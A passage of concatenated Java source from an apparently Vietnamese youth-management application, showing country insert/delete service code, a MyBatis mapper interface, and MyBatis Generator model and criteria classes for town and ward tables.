universityObj.setCreateUserId(Util.getUserInfo().getID()); // update User id universityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag universityObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = Sym0011Dao.getQltnMCountryMapper().insert(universityObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete University from DB * * @param criteriaID : Country's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String countryId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCountry QltnMCountry = new QltnMCountry(); QltnMCountry.setCountryId(countryId); QltnMCountry.setDeleteFlag(Constants.DELETE_FLAG_ON); // update University id QltnMCountry.setUpdateUserId(Util.getUserInfo().getID()); int result = Sym0011Dao.getQltnMCountryMapper().updateByPrimaryKeySelective(QltnMCountry); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get University information based on Country's id * * @param criteriaID : Country's id received from client * @return University data */ public QltnMCountry getSingleData(String countryId) { return Sym0011Dao.getQltnMCountryMapper().selectByPrimaryKey(countryId); } /** * Check input: blank fields * * @param UniversityData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMCountry countryData) { if (countryData.getCountryName().equals("")) { return false; } else { return true; } } } ``` Sym0051Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; import vn.youthmanager.ict.youth.db.model.Sym0051Result; public interface Sym0051Mapper { List<Sym0051Result> getReportName(Map<String, Object> params); List<QltnMNoteReport> checkCriteriaOfPerson(Map<String, Object> params); } ``` f557e00a1264f03d3f31e64b5aeec46585712250.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMTownExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public QltnMTownExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andTownIdIsNull() { addCriterion("TOWN_ID is null"); return (Criteria) this; } public Criteria andTownIdIsNotNull() { addCriterion("TOWN_ID is not null"); return (Criteria) this; } public Criteria andTownIdEqualTo(String value) { addCriterion("TOWN_ID =", value, "townId"); return (Criteria) this; } public Criteria andTownIdNotEqualTo(String value) { addCriterion("TOWN_ID <>", value, "townId"); return (Criteria) this; } public Criteria andTownIdGreaterThan(String value) { addCriterion("TOWN_ID >", value, "townId"); return (Criteria) this; } public Criteria andTownIdGreaterThanOrEqualTo(String value) { addCriterion("TOWN_ID >=", value, "townId"); return (Criteria) this; } public Criteria andTownIdLessThan(String value) { addCriterion("TOWN_ID <", value, "townId"); return (Criteria) this; } public Criteria andTownIdLessThanOrEqualTo(String value) { addCriterion("TOWN_ID <=", value, "townId"); return (Criteria) this; } public Criteria andTownIdLike(String value) { addCriterion("TOWN_ID like", value, "townId"); return (Criteria) this; } public Criteria andTownIdNotLike(String value) { addCriterion("TOWN_ID not like", value, "townId"); return (Criteria) this; } public Criteria andTownIdIn(List<String> values) { addCriterion("TOWN_ID in", values, "townId"); return (Criteria) this; } public Criteria andTownIdNotIn(List<String> values) { addCriterion("TOWN_ID not in", values, "townId"); return (Criteria) this; } public Criteria andTownIdBetween(String value1, String value2) { addCriterion("TOWN_ID between", value1, value2, "townId"); return (Criteria) this; } public Criteria andTownIdNotBetween(String value1, String value2) { addCriterion("TOWN_ID not between", value1, value2, "townId"); return (Criteria) this; } public Criteria andWardsIdIsNull() { addCriterion("WARDS_ID is null"); return (Criteria) this; } public Criteria andWardsIdIsNotNull() { addCriterion("WARDS_ID is not null"); return (Criteria) this; } public Criteria andWardsIdEqualTo(String value) { addCriterion("WARDS_ID =", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotEqualTo(String value) { addCriterion("WARDS_ID <>", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdGreaterThan(String value) { addCriterion("WARDS_ID >", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdGreaterThanOrEqualTo(String value) { addCriterion("WARDS_ID >=", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLessThan(String value) { addCriterion("WARDS_ID <", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLessThanOrEqualTo(String value) { addCriterion("WARDS_ID <=", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLike(String value) { addCriterion("WARDS_ID like", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotLike(String value) { addCriterion("WARDS_ID not like", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdIn(List<String> values) { addCriterion("WARDS_ID in", values, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotIn(List<String> values) { addCriterion("WARDS_ID not in", values, "wardsId"); return (Criteria) this; } public Criteria andWardsIdBetween(String value1, String value2) { addCriterion("WARDS_ID between", value1, value2, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotBetween(String value1, String value2) { addCriterion("WARDS_ID not between", value1, value2, "wardsId"); return (Criteria) this; } public Criteria andDistrictIdIsNull() { addCriterion("DISTRICT_ID is null"); return (Criteria) this; } public Criteria andDistrictIdIsNotNull() { addCriterion("DISTRICT_ID is not null"); return (Criteria) this; } public Criteria andDistrictIdEqualTo(String value) { addCriterion("DISTRICT_ID =", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotEqualTo(String value) { addCriterion("DISTRICT_ID <>", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdGreaterThan(String value) { addCriterion("DISTRICT_ID >", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdGreaterThanOrEqualTo(String value) { addCriterion("DISTRICT_ID >=", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLessThan(String value) { addCriterion("DISTRICT_ID <", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLessThanOrEqualTo(String value) { addCriterion("DISTRICT_ID <=", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLike(String value) { addCriterion("DISTRICT_ID like", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotLike(String value) { addCriterion("DISTRICT_ID not like", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdIn(List<String> values) { addCriterion("DISTRICT_ID in", values, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotIn(List<String> values) { addCriterion("DISTRICT_ID not in", values, "districtId"); return (Criteria) this; } public Criteria andDistrictIdBetween(String value1, String value2) { addCriterion("DISTRICT_ID between", value1, value2, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotBetween(String value1, String value2) { addCriterion("DISTRICT_ID not between", value1, value2, "districtId"); return (Criteria) this; } public Criteria andCityIdIsNull() { addCriterion("CITY_ID is null"); return (Criteria) this; } public Criteria andCityIdIsNotNull() { addCriterion("CITY_ID is not null"); return (Criteria) this; } public Criteria andCityIdEqualTo(String value) { addCriterion("CITY_ID =", value, "cityId"); return (Criteria) this; } public Criteria andCityIdNotEqualTo(String value) { addCriterion("CITY_ID <>", value, "cityId"); return (Criteria) this; } public Criteria andCityIdGreaterThan(String value) { addCriterion("CITY_ID >", value, "cityId"); return (Criteria) this; } public Criteria andCityIdGreaterThanOrEqualTo(String value) { addCriterion("CITY_ID >=", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLessThan(String value) { addCriterion("CITY_ID <", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLessThanOrEqualTo(String value) { addCriterion("CITY_ID <=", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLike(String value) { addCriterion("CITY_ID like", value, "cityId"); return (Criteria) this; } public Criteria andCityIdNotLike(String value) { addCriterion("CITY_ID not like", value, "cityId"); return (Criteria) this; } public Criteria andCityIdIn(List<String> values) { addCriterion("CITY_ID in", values, "cityId"); return (Criteria) this; } public Criteria andCityIdNotIn(List<String> values) { addCriterion("CITY_ID not in", values, "cityId"); return (Criteria) this; } public Criteria andCityIdBetween(String value1, String value2) { addCriterion("CITY_ID between", value1, value2, "cityId"); return (Criteria) this; } public Criteria andCityIdNotBetween(String value1, String value2) { addCriterion("CITY_ID not between", value1, value2, "cityId"); return (Criteria) this; } public Criteria andCountryIdIsNull() { addCriterion("COUNTRY_ID is null"); return (Criteria) this; } public Criteria andCountryIdIsNotNull() { addCriterion("COUNTRY_ID is not null"); return (Criteria) this; } public Criteria andCountryIdEqualTo(String value) { addCriterion("COUNTRY_ID =", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdNotEqualTo(String value) { addCriterion("COUNTRY_ID <>", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdGreaterThan(String value) { addCriterion("COUNTRY_ID >", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdGreaterThanOrEqualTo(String value) { addCriterion("COUNTRY_ID >=", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdLessThan(String value) { addCriterion("COUNTRY_ID <", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdLessThanOrEqualTo(String value) { addCriterion("COUNTRY_ID <=", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdLike(String value) { addCriterion("COUNTRY_ID like", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdNotLike(String value) { addCriterion("COUNTRY_ID not like", value, "countryId"); return (Criteria) this; } public Criteria andCountryIdIn(List<String> values) { addCriterion("COUNTRY_ID in", values, "countryId"); return (Criteria) this; } public Criteria andCountryIdNotIn(List<String> values) { addCriterion("COUNTRY_ID not in", values, "countryId"); return (Criteria) this; } public Criteria andCountryIdBetween(String value1, String value2) { addCriterion("COUNTRY_ID between", value1, value2, "countryId"); return (Criteria) this; } public Criteria andCountryIdNotBetween(String value1, String value2) { addCriterion("COUNTRY_ID not between", value1, value2, "countryId"); return (Criteria) this; } public Criteria andTownCodeIsNull() { addCriterion("TOWN_CODE is null"); return (Criteria) this; } public Criteria andTownCodeIsNotNull() { addCriterion("TOWN_CODE is not null"); return (Criteria) this; } public Criteria andTownCodeEqualTo(String value) { addCriterion("TOWN_CODE =", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeNotEqualTo(String value) { addCriterion("TOWN_CODE <>", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeGreaterThan(String value) { addCriterion("TOWN_CODE >", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeGreaterThanOrEqualTo(String value) { addCriterion("TOWN_CODE >=", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeLessThan(String value) { addCriterion("TOWN_CODE <", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeLessThanOrEqualTo(String value) { addCriterion("TOWN_CODE <=", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeLike(String value) { addCriterion("TOWN_CODE like", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeNotLike(String value) { addCriterion("TOWN_CODE not like", value, "townCode"); return (Criteria) this; } public Criteria andTownCodeIn(List<String> values) { addCriterion("TOWN_CODE in", values, "townCode"); return (Criteria) this; } public Criteria andTownCodeNotIn(List<String> values) { addCriterion("TOWN_CODE not in", values, "townCode"); return (Criteria) this; } public Criteria andTownCodeBetween(String value1, String value2) { addCriterion("TOWN_CODE between", value1, value2, "townCode"); return (Criteria) this; } public Criteria andTownCodeNotBetween(String value1, String value2) { addCriterion("TOWN_CODE not between", value1, value2, "townCode"); return (Criteria) this; } public Criteria andTownNameIsNull() { addCriterion("TOWN_NAME is null"); return (Criteria) this; } public Criteria andTownNameIsNotNull() { addCriterion("TOWN_NAME is not null"); return (Criteria) this; } public Criteria andTownNameEqualTo(String value) { addCriterion("TOWN_NAME =", value, "townName"); return (Criteria) this; } public Criteria andTownNameNotEqualTo(String value) { addCriterion("TOWN_NAME <>", value, "townName"); return (Criteria) this; } public Criteria andTownNameGreaterThan(String value) { addCriterion("TOWN_NAME >", value, "townName"); return (Criteria) this; } public Criteria andTownNameGreaterThanOrEqualTo(String value) { addCriterion("TOWN_NAME >=", value, "townName"); return (Criteria) this; } public Criteria andTownNameLessThan(String value) { addCriterion("TOWN_NAME <", value, "townName"); return (Criteria) this; } public Criteria andTownNameLessThanOrEqualTo(String value) { addCriterion("TOWN_NAME <=", value, "townName"); return (Criteria) this; } public Criteria andTownNameLike(String value) { addCriterion("TOWN_NAME like", value, "townName"); return (Criteria) this; } public Criteria andTownNameNotLike(String value) { addCriterion("TOWN_NAME not like", value, "townName"); return (Criteria) this; } public Criteria andTownNameIn(List<String> values) { addCriterion("TOWN_NAME in", values, "townName"); return (Criteria) this; } public Criteria andTownNameNotIn(List<String> values) { addCriterion("TOWN_NAME not in", values, "townName"); return (Criteria) this; } public Criteria andTownNameBetween(String value1, String value2) { addCriterion("TOWN_NAME between", value1, value2, "townName"); return (Criteria) this; } public Criteria andTownNameNotBetween(String value1, String value2) { addCriterion("TOWN_NAME not between", value1, value2, "townName"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_town * * @mbggenerated do_not_delete_during_merge Sat Apr 08 18:31:52 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_town * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` 5d8b6b28506c575dffce16c19c1a7ace2c1fb209.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMWards { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.WARDS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String wardsId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String districtId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String cityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String countryId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.WARDS_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String wardsCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.WARDS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String wardsName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_wards.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.WARDS_ID * * @return the value of qltn_m_wards.WARDS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getWardsId() { return wardsId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.WARDS_ID * * @param wardsId the value for qltn_m_wards.WARDS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setWardsId(String wardsId) { this.wardsId = wardsId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.DISTRICT_ID * * @return the value of qltn_m_wards.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDistrictId() { return districtId; } /** * This method was generated by 